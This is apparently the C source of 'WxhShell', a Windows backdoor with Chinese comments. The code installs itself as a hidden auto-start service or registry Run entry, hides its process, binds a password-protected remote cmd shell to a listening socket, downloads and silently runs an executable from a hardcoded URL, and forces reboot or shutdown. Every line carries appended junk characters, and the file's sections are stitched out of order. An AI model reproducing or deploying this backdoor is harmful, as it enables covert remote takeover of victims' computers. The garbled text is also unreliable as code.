    } r1{@Ucw2  
  // 关机 ">,|V-H  
  case 'd': { czgO ;3-C  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); " 9wvPC ^  
    if(Boot(SHUTDOWN)) yEoF4bt  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ww+IWW@  
    else { Ad9}9!<  
    closesocket(wsh); x,pjpx  
    ExitThread(0); l'E*=Rn  
    } paE[rS\  
    break; 3J|F?M"N7  
    } }?_?V&K|  
  // 获取shell 8COGsWK  
  case 's': { ,~@X{7U  
    CmdShell(wsh); RmeD$>7  
    closesocket(wsh); SBk4_J/_  
    ExitThread(0); u$Jz~:=,  
    break; .|>3k'<l  
  } ep)n_!$OH"  
  // 退出 `V)8 QRN(  
  case 'x': { Em !/a$  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ' ;FnIZ  
    CloseIt(wsh); |tMWCA  
    break; E`usknf>l  
    } Hc$O{]sq  
  // 离开 a;qryUyG  
  case 'q': { =M [bnq*\  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); PQSP&  
    closesocket(wsh); jTtu0Q|  
    WSACleanup(); .*S#aq4S  
    exit(1); b;W3j   
    break; &4x}ppX  
        } oC: {aK6\  
  } G+"t/?/  
  } t[;LD_  
5o'FS{6U  
  // 提示信息 U!?_W=?  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;oKZ!ND  
} 6"5A%{ J  
  } { VfXsI  
%i9E @EV  
  return; m_?~OL S  
} "R1NG?; q  
O1U=X:Zl  
// shell模块句柄 oAJM]%g{  
int CmdShell(SOCKET sock) [" )o.(  
{ uLL]A>vR  
STARTUPINFO si;  +yH7v5W  
ZeroMemory(&si,sizeof(si)); z2_*%S@  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; .B]MpmpK  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; IS{wtuA.  
PROCESS_INFORMATION ProcessInfo; pnowy;  
char cmdline[]="cmd"; ~Z?TFg  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Xq]w<$  
  return 0; Fa Qe_;  
} b_#m}yZ6  
 gmO!  
// 自身启动模式 9`A;U|~E@  
int StartFromService(void) H z1%x  
{ t?x<g<PJ4  
typedef struct rq/yD,I,  
{ r6MMCJ|G  
  DWORD ExitStatus; ;4^Rx  
  DWORD PebBaseAddress; kHghPn?8]  
  DWORD AffinityMask; 2G67NC?+  
  DWORD BasePriority; RXpw!  
  ULONG UniqueProcessId; rb2S7k0{  
  ULONG InheritedFromUniqueProcessId; o WrKM  
}   PROCESS_BASIC_INFORMATION; 'EEJU/"u  
ug!s7fo^  
PROCNTQSIP NtQueryInformationProcess; J6s`'gFns  
qo90t{|c  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Ustv{:7v  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; nQX:T;WL@  
uD$u2  
  HANDLE             hProcess; hk(ZM#Bh  
  PROCESS_BASIC_INFORMATION pbi; <EB+1GFuI  
B:;pvW]  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); @fZ,.2ar  
  if(NULL == hInst ) return 0; |mdVdD~go  
( iBl   
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules");  3s,g*  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 7a =gH2]&  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); */)c?)"  
o/$}  
  if (!NtQueryInformationProcess) return 0; * J7DY f  
L O_k@3  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); SO|NaqWa  
  if(!hProcess) return 0; [fya)}  
@Q ]=\N:  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; TluW-S  
zUkgG61  
  CloseHandle(hProcess); dUeN*Nq&(,  
BOb">6C  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); JgKO|VO  
if(hProcess==NULL) return 0; axv>6k  
q1$N>;&  
HMODULE hMod; p*R;hU  
char procName[255]; uB]7G0g:  
unsigned long cbNeeded; $<dH?%!7  
;v)JnbsH}  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ld|5TN1  
G6q }o)[m)  
  CloseHandle(hProcess); fn jPSts0  
F 5bj=mI  
if(strstr(procName,"services")) return 1; // 以服务启动 F'={q{2wH  
6@h/*WElG  
  return 0; // 注册表启动 \%JgH=@ :=  
} M)J5;^["  
9-VNp;V  
// 主模块 -j# 2}[J7  
int StartWxhshell(LPSTR lpCmdLine) _UMg[Um  
{ 7Utn\l  
  SOCKET wsl; ajbA\/\G;  
BOOL val=TRUE; 3 Gp$a;g  
  int port=0; '1P2$#  
  struct sockaddr_in door; ?Ny9'g>?  
9N#_( uwt  
  if(wscfg.ws_autoins) Install(); 0rQMLx  
E<{ R.r  
port=atoi(lpCmdLine); <.x{|p  
Thp[+KP>  
if(port<=0) port=wscfg.ws_port; p,5i)nEFj  
Q 04al=  
  WSADATA data; y|C(X  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; qTRsZz@  
,8S/t+H  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   .KB^3pOpx  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); e&|'I"  
  door.sin_family = AF_INET; SB;&GHq"n  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); .9/ hHCp  
  door.sin_port = htons(port); Avge eJi  
j"t(0 m  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { WrnrFz  
closesocket(wsl); 1*P~!2h  
return 1; .wEd"A&j  
} *<$*"p  
SXSgld2uS  
  if(listen(wsl,2) == INVALID_SOCKET) { aq>kTaz  
closesocket(wsl); & TCkpS  
return 1; zq 3\}9  
} }kw#7m54  
  Wxhshell(wsl); @+&LYy72  
  WSACleanup(); DTX0  
DzAg"6=CS  
return 0; yJ[0WY8<kC  
QGMV}y  
} <O(4TO  
b <tNk]7  
// 以NT服务方式启动 >2Y=*K,:  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ]{;gw<T  
{ ^rB8? kt  
DWORD   status = 0; aj-Km`5r}  
  DWORD   specificError = 0xfffffff; HDz5&7* .  
iQ0KfoG?U  
  serviceStatus.dwServiceType     = SERVICE_WIN32; *^pR%E .  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; w49t9~  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Fx]WCQo  
  serviceStatus.dwWin32ExitCode     = 0; &pxg. 3  
  serviceStatus.dwServiceSpecificExitCode = 0; J@/kIrx  
  serviceStatus.dwCheckPoint       = 0; [7:,?$tC  
  serviceStatus.dwWaitHint       = 0; XnH05LQ  
3p$?,0ELH  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); i7CX65&b  
  if (hServiceStatusHandle==0) return; u%GEqruo[  
R)?*N@.s  
status = GetLastError(); 0gu_yg!R  
  if (status!=NO_ERROR) 77 Q5d"sIi  
{ /m!BY}4W  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; `_6C {<O  
    serviceStatus.dwCheckPoint       = 0; H-!,yte  
    serviceStatus.dwWaitHint       = 0; 8 v6(qBK  
    serviceStatus.dwWin32ExitCode     = status; 6lZ3tdyNo  
    serviceStatus.dwServiceSpecificExitCode = specificError; . o6Or:L  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); I:-Wy"i  
    return; P7ao5NP  
  } 3 #n_?-  
_f7 9wx\B  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ,=uD^n:  
  serviceStatus.dwCheckPoint       = 0; W Tcw4  
  serviceStatus.dwWaitHint       = 0; ;_XFo&@  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); K,tQ!kk  
} PioZIb/{  
]HbY  
// 处理NT服务事件,比如:启动、停止 av(6wht8  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 3RUy, s  
{  > ^O7  
switch(fdwControl) \Zb;'eDv  
{ !@5 9)  
case SERVICE_CONTROL_STOP: x o;QCOH  
  serviceStatus.dwWin32ExitCode = 0; ; t)3F  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; qfX6TV5J}!  
  serviceStatus.dwCheckPoint   = 0; 44J]I\+  
  serviceStatus.dwWaitHint     = 0; Mg+2. 8%  
  { M.JA.I@XC  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); `T1  
  } g%aYDl  
  return; l&[O  
case SERVICE_CONTROL_PAUSE:  X hR4ru`  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; q#~ (/  
  break; xnjf  
case SERVICE_CONTROL_CONTINUE: ]|#+zx|/D  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; "BAK !N$9  
  break; xKbXt;l2  
case SERVICE_CONTROL_INTERROGATE: SA:Zc^aV  
  break; D=TvYe  
}; l#&8x  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); j<upRS,$  
} v6|RJt?  
g%o(+d  
// 标准应用程序主函数 OU E (I3_  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) }ZYd4h|g\z  
{ 3s*mbk[J  
A]*}HZ ,  
// 获取操作系统版本 _9ao?:  
OsIsNt=GetOsVer(); +8T?{K  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 7K12 G!)  
}f%}v  
  // 从命令行安装 p;a,#IJu  
  if(strpbrk(lpCmdLine,"iI")) Install(); v{RZJ^1  
#{0HYg?(f  
  // 下载执行文件 W@>% {eE  
if(wscfg.ws_downexe) { &{5,:%PXw  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) VCYwzB  
  WinExec(wscfg.ws_filenam,SW_HIDE); , };& tR  
} 'I|v[G$l  
j\yjc/m  
if(!OsIsNt) { H;is/  
// 如果时win9x,隐藏进程并且设置为注册表启动 !6 #X>S14  
HideProc(); _=>He=v/  
StartWxhshell(lpCmdLine); P-[-pi@  
} I]|Pq  
else oE @a'*.\  
  if(StartFromService()) ; T\%|O=Ke  
  // 以服务方式启动 'B$yo]  
  StartServiceCtrlDispatcher(DispatchTable); &/Z /Y ]  
else J[&@PUy  
  // 普通方式启动 5"VTK  
  StartWxhshell(lpCmdLine); Lpkyoh v  
`b&%Hm  
return 0; wKh4|Ka  
} hw uiu*  
]Ee?6]bN  
 y`iBFC;_  
q~Hn -5H4Q  
=========================================== gE'sO T9v  
8qoMo7-f  
Gf6p'(\zun  
E*& vy  
Ha#= (9.  
Ng&%o  
" ejKucEgD  
F~ty!(c  
#include <stdio.h> 4(n-_BS  
#include <string.h> &$BjV{,/zc  
#include <windows.h> 1y &\5kB  
#include <winsock2.h> >dXGee>'M  
#include <winsvc.h> e)IzQ7Zex  
#include <urlmon.h> >IafUy  
te`$%NRl  
#pragma comment (lib, "Ws2_32.lib") @/~omg}R  
#pragma comment (lib, "urlmon.lib") $GV7o{"&  
3m[vXr?  
#define MAX_USER   100 // 最大客户端连接数 63iUi9P  
#define BUF_SOCK   200 // sock buffer MR7}s4o  
#define KEY_BUFF   255 // 输入 buffer Y>z>11yEB0  
W.jGGt\<\  
#define REBOOT     0   // 重启 @)+AaC#-  
#define SHUTDOWN   1   // 关机 gk4;>}  
Z3e| UAif  
#define DEF_PORT   5000 // 监听端口 /V8 #[9K  
yqs4[C  
#define REG_LEN     16   // 注册表键长度 C.:<-xo  
#define SVC_LEN     80   // NT服务名长度 u]wZQl#-  
.8g)av+  
// 从dll定义API Eh`7X=Z7E  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Ufj`euY  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); m,28u3@r  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ;]puq  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); _RYxD"m y  
;LfXi 8)  
// wxhshell配置信息 %Qgw7p4  
struct WSCFG { hW' )Sp  
  int ws_port;         // 监听端口 h8j.(  
  char ws_passstr[REG_LEN]; // 口令 B4/>H|  
  int ws_autoins;       // 安装标记, 1=yes 0=no e4$H&'b|  
  char ws_regname[REG_LEN]; // 注册表键名 S>+|OCl";  
  char ws_svcname[REG_LEN]; // 服务名 h^45,E C  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 A|[?#S((]  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 @u+]aI!`-  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 `RT>}_j  
int ws_downexe;       // 下载执行标记, 1=yes 0=no iXkF1r]i  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" &AMl:@p9  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 urc| D0n  
+QavYqPF  
}; A Q U+mo  
L+F@:H6/0  
// default Wxhshell configuration f)rq%N &  
struct WSCFG wscfg={DEF_PORT, KkyVSoD\  
    "xuhuanlingzhe", }Bh8=F3O Q  
    1, :VBV&l` [  
    "Wxhshell", w/<L Ag  
    "Wxhshell", \sixI;-2  
            "WxhShell Service", CkC^'V)  
    "Wrsky Windows CmdShell Service", Po;W'7"Po`  
    "Please Input Your Password: ", "Y.tht H  
  1, !TH) +zi  
  "http://www.wrsky.com/wxhshell.exe", {W`%g^Z|H  
  "Wxhshell.exe" _ye |Y  
    }; /N+dQe  
@7c?xQVd$  
// 消息定义模块 mIvx1_[  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; "{+QW  
char *msg_ws_prompt="\n\r? for help\n\r#>"; #MkTkm&r  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 7WqH&vU|  
char *msg_ws_ext="\n\rExit."; g =hg%gRy"  
char *msg_ws_end="\n\rQuit."; Paq4  
char *msg_ws_boot="\n\rReboot..."; 2qNt,;DQ  
char *msg_ws_poff="\n\rShutdown..."; @;4zrzQi7  
char *msg_ws_down="\n\rSave to "; <}Vrl`?h  
7+cO_3AB  
char *msg_ws_err="\n\rErr!"; 2s8a $3  
char *msg_ws_ok="\n\rOK!"; bj^5yX;2  
?81c 4w  
char ExeFile[MAX_PATH]; @{e}4s?7od  
int nUser = 0; ]q[D>6_  
HANDLE handles[MAX_USER]; i"FtcP^  
int OsIsNt; zk+9'r`-D  
{z|)Njhg  
SERVICE_STATUS       serviceStatus; ,ng Cv;s  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; S?LQu  
2.y-48Nz  
// 函数声明 dQX6(J j  
int Install(void); v~C Czg  
int Uninstall(void); 4@gG<QJW  
int DownloadFile(char *sURL, SOCKET wsh); U>SShpmZA  
int Boot(int flag); Vt~{Gu-Y  
void HideProc(void); Pm?KI<TH~  
int GetOsVer(void); (E 3b\lST  
int Wxhshell(SOCKET wsl); `[yKFa I  
void TalkWithClient(void *cs); #z%fx   
int CmdShell(SOCKET sock); est9M*Fn  
int StartFromService(void); Kw^7>\  
int StartWxhshell(LPSTR lpCmdLine); 8W7J3{d  
I][*j  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 1.hyCTnI  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Ee#q9Cx^J  
?UR0:f:}oc  
// 数据结构和表定义  }v{LRRi  
SERVICE_TABLE_ENTRY DispatchTable[] = $wa{~'  
{ Vp\,CuQ  
{wscfg.ws_svcname, NTServiceMain}, LOYk9m  
{NULL, NULL} G!##X: 6'  
}; 6|=f$a  
+=h:Vb8  
// 自我安装 $HzBD.CF|x  
int Install(void) =XQ%t @z0  
{ RP|`HkP-2  
  char svExeFile[MAX_PATH]; DCa^ u'f  
  HKEY key; y Pp9\[+^j  
  strcpy(svExeFile,ExeFile); cVpp-Z|s8  
IPpN@  
// 如果是win9x系统,修改注册表设为自启动 y.k~Y0  
if(!OsIsNt) { 8Fh)eha9f  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ^7*11%Q  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >Tx?%nQ  
  RegCloseKey(key); ,p a {qne  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 'Is kWgc  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); y^ *~B(T{  
  RegCloseKey(key); %;' s4ly  
  return 0; .{^5X)  
    } ^\% (,KNo  
  } 8,%^ M9zBP  
} gJ{)-\  
else { Fo_sgv8O<  
~?}Emn;t  
// 如果是NT以上系统,安装为系统服务 !< ";cw(q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); J;e2&gB  
if (schSCManager!=0) C) s5D  
{ 0+ '&`Q!u  
  SC_HANDLE schService = CreateService j (d~aqW  
  ( Ml5w01O  
  schSCManager, >=>2m2z=  
  wscfg.ws_svcname, v?$:@9pAk  
  wscfg.ws_svcdisp, :cECRm*  
  SERVICE_ALL_ACCESS, o|:b;\)b  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , "sCRdx]_  
  SERVICE_AUTO_START, +\A,&;!SR  
  SERVICE_ERROR_NORMAL, 3hH<T.@)  
  svExeFile, =nS3p6>rZ  
  NULL, 6 "sSoj  
  NULL, yyJ  f%{  
  NULL, ]m<$}  
  NULL, I236 RIq  
  NULL  (ZizuHC  
  ); F>l] 9!P|m  
  if (schService!=0) ?l )[7LR4  
  { Avc%2 +  
  CloseServiceHandle(schService); \\qZl)P_  
  CloseServiceHandle(schSCManager); 59A}}.@?m  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); )akoa,#%6c  
  strcat(svExeFile,wscfg.ws_svcname); LL!Dx%JZ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 8<.Oq4ku  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Il 'fL'3  
  RegCloseKey(key); t*u:hex  
  return 0; +6\Zj)  
    } n\53wh@+  
  } W!(zT6#  
  CloseServiceHandle(schSCManager); Q%G8U#Tm  
} AkV#J, 3LC  
} eMsd37J  
u#.2w)!D  
return 1; x;d6vBTUb  
} 6{b >p+U  
IJ"q~r$  
// 自我卸载 D@.6>:;il  
int Uninstall(void) 0e4{{zQx  
{ }Y\%RA  
  HKEY key; EQM {  
T8g$uFo  
if(!OsIsNt) { /x$nje,.  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ;_(4Q*Yx  
  RegDeleteValue(key,wscfg.ws_regname); Q2gq}c~  
  RegCloseKey(key); TeM|:o  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { m_]Y{3C  
  RegDeleteValue(key,wscfg.ws_regname); Xv^qVn4  
  RegCloseKey(key); i/4>2y9/F4  
  return 0; tD)J*]G  
  } ga+dt  
} y)@wjH{6  
} K0>zxqY  
else { y N-9[P8C  
0(HU}I  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); f:} x7_Q  
if (schSCManager!=0) sgFEK[w.y  
{ k,*XG$2h  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); mzgfFNm^G)  
  if (schService!=0) Zy/_ E@C}u  
  { ;=z:F<Y  
  if(DeleteService(schService)!=0) { 0=YI@@n)  
  CloseServiceHandle(schService); W<g1<z\f  
  CloseServiceHandle(schSCManager); zDG b7S{  
  return 0; z03K=aZ  
  } 9'B `]/L  
  CloseServiceHandle(schService); Dd|VMW=  
  } 2^7`mES  
  CloseServiceHandle(schSCManager); h376Be{P  
} <hyKu  
} /{I$#:M  
2,b$7xaf  
return 1; Bzf^ivT3L  
} > (<f 0  
$& c*'3  
// 从指定url下载文件 *.[. {qG(  
int DownloadFile(char *sURL, SOCKET wsh) 'w aaw_>b  
{ \FaP|28h  
  HRESULT hr; @0''k  
char seps[]= "/"; jP.dDYc  
char *token; {JLtE{  
char *file; '&b+R`g'  
char myURL[MAX_PATH]; jH:[2N?  
char myFILE[MAX_PATH]; f o3}W^0  
;uGv:$([g  
strcpy(myURL,sURL); F+qm[Bc8  
  token=strtok(myURL,seps); YmG("z  
  while(token!=NULL) $`8wJf9@w  
  { ]SEZaT  
    file=token; LS[]=Mk@1  
  token=strtok(NULL,seps); h(DTa  
  } QT}tvm@PMq  
<P<z N~i9j  
GetCurrentDirectory(MAX_PATH,myFILE); 5^Zg>I  
strcat(myFILE, "\\"); 4xj4=C~i  
strcat(myFILE, file); X?Q4}Y  
  send(wsh,myFILE,strlen(myFILE),0); h";L  
send(wsh,"...",3,0); 53 h0UL  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ca9X19NG  
  if(hr==S_OK) \;Weizq5  
return 0; EU#^7  
else >$7B wO  
return 1; zH r_!~  
Z\sDUJ  
} '"s@enD0y  
%yC,^  
// 系统电源模块 /-s6<e!  
int Boot(int flag) |s_GlJV.  
{ DmcZta8n]  
  HANDLE hToken; 1Y,Z %d  
  TOKEN_PRIVILEGES tkp; kx^/*~ex  
:4|4=mkr  
  if(OsIsNt) { !)$Zp\Sg  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); XWw804ir  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Zd+bx*rD  
    tkp.PrivilegeCount = 1; (@YG~ 0  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Hn:Crl y#  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); b.938#3,  
if(flag==REBOOT) { <UCl@5g&  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) /wG2vE8e  
  return 0; '+ ?X  
} O6Y0XL  
else { j<$2hiI/?&  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) l,).p  
  return 0; G~m<;  
} 2<3K3uz  
  } !R$`+wZ62  
  else { \)e'`29;  
if(flag==REBOOT) { 6LhTBV  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) v:#tWEbo-  
  return 0; [F7hu7zY8  
} KPki}'GO  
else { -\MG}5?!  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) FI.\%x  
  return 0; Q b%J8juRf  
} I^]nqK  
} Vvo 7C!$z  
6\t@)=C,Q  
return 1; dN6?c'iN?2  
} 7p[n  
qP ,EBE  
// win9x进程隐藏模块 '"Nr,vQo  
void HideProc(void) ~ri5zb20  
{ naNghGQ  
 !@sUj  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 2<6UwF  
  if ( hKernel != NULL ) p7 ~!z.)o  
  { !x)R=Z/C  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); k7^5Bp8=  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ,%y /kS]  
    FreeLibrary(hKernel); xD7]C|8o  
  } /{2,zW  
kxCSs7J/  
return; a9Vi];  
} JGZBL{8  
n"8Yv~v*2j  
// 获取操作系统版本 EX"yxZ~  
int GetOsVer(void) K NOIZj   
{ [>9is=>o.  
  OSVERSIONINFO winfo; gDzK{6Z}  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); u&e~1?R  
  GetVersionEx(&winfo); A}w/OA97RO  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) G/W>S,(  
  return 1; 8CE = 4  
  else iRBfx  
  return 0; +,l-Nz  
} 'fW-Y!k%  
L50n8s  
// 客户端句柄模块 wM{s|Ay  
int Wxhshell(SOCKET wsl) {h4E8.E  
{ tX[WH\(xI  
  SOCKET wsh; bd`P0f?  
  struct sockaddr_in client; F[MFx^sT{  
  DWORD myID; MfkZ  
T>>c2$ x  
  while(nUser<MAX_USER) u:b=\T L  
{ 62u4-}JzF  
  int nSize=sizeof(client); ?4uL-z](V  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); )gi9f1n`  
  if(wsh==INVALID_SOCKET) return 1; d5-qZ{W  
,//S`j$S  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 8EY:t zw  
if(handles[nUser]==0) (% 9$!v{3  
  closesocket(wsh); 1*7@BP5  
else )}v l\7=  
  nUser++; P {'b:C  
  } DwF hK*  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); qP;OaM CX  
W3RT{\  
  return 0; ]'S^]  
} 6B-16  
t,' <gI  
// 关闭 socket h];I{crh  
void CloseIt(SOCKET wsh) 2SLU:=<3  
{ =c7;r]Ol  
closesocket(wsh); n!(F, b  
nUser--; /RF7j;  
ExitThread(0); IA(5?7x`<  
} 7z-[f'EIUI  
^Dx&|UwiZa  
// 客户端请求句柄 w =KPT''!  
void TalkWithClient(void *cs) %)n=x ne  
{ lfg6646?S  
WhDJ7{D  
  SOCKET wsh=(SOCKET)cs; "#48% -'x  
  char pwd[SVC_LEN]; 11lsf/IP  
  char cmd[KEY_BUFF]; Dh*n!7lD`  
char chr[1]; g&.=2uP  
int i,j; I@3MO0V^  
&{i{XcqH'  
  while (nUser < MAX_USER) { ntY]SK%Z  
SX*RP;vHy  
if(wscfg.ws_passstr) { gZ5 |UR<  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); W9)&!&<o  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 9FX-1,Jx  
  //ZeroMemory(pwd,KEY_BUFF); ~s{$WL&  
      i=0; svSVG:48  
  while(i<SVC_LEN) { E'8;10s  
bZ6+,J  
  // 设置超时 g78^9Y*1  
  fd_set FdRead; E.f%H(b  
  struct timeval TimeOut; Ep}s}Stlr}  
  FD_ZERO(&FdRead); W8<%[-r  
  FD_SET(wsh,&FdRead); %$mA03[MQ  
  TimeOut.tv_sec=8; d'2A,B~_*  
  TimeOut.tv_usec=0; HTtnXBJ)*H  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); saAF+H/=  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); YS ][n_  
qWw=8Bq  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); o(HbGHIP  
  pwd=chr[0]; <QvOs@i*  
  if(chr[0]==0xd || chr[0]==0xa) {  @8 6f  
  pwd=0; OKV8zO  
  break; 3sk9`=[{$  
  } 0`hdMLONR  
  i++; 9VT;ep  
    } xkn;,`t^lJ  
v2?ZQeHr_(  
  // 如果是非法用户,关闭 socket h$*!8=M  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Ls%MGs9PI  
} w(rE`IgW  
_Y!IEAU/#  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 8- i#8'/x  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); n|;Im&,  
6wxs1G  
while(1) { $u.z*b_yy  
D]}G.v1  
  ZeroMemory(cmd,KEY_BUFF); Yz bXuJ4  
"]dI1 g_  
      // 自动支持客户端 telnet标准   AR=]=8  
  j=0; kP"9&R`E  
  while(j<KEY_BUFF) { ceV}WN19l  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 4Up/p&1@  
  cmd[j]=chr[0]; }'.m*#Y  
  if(chr[0]==0xa || chr[0]==0xd) { 4z? l  
  cmd[j]=0; ;aBG,dr}i  
  break; `9 L>*  
  } PM+[,H  
  j++; =}*0-\QG  
    } 7Wno':w8  
 `]X>V,  
  // 下载文件 &vJH$R  
  if(strstr(cmd,"http://")) { :>*7=q=  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); r,udO,Yi=c  
  if(DownloadFile(cmd,wsh))  J *yg&  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ib`XT0k  
  else /\Ef%@  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); P'2Qen*  
  } ""H?gsL[  
  else { q@&6#B  
J1vR5wbu  
    switch(cmd[0]) { p[-O( 3Y  
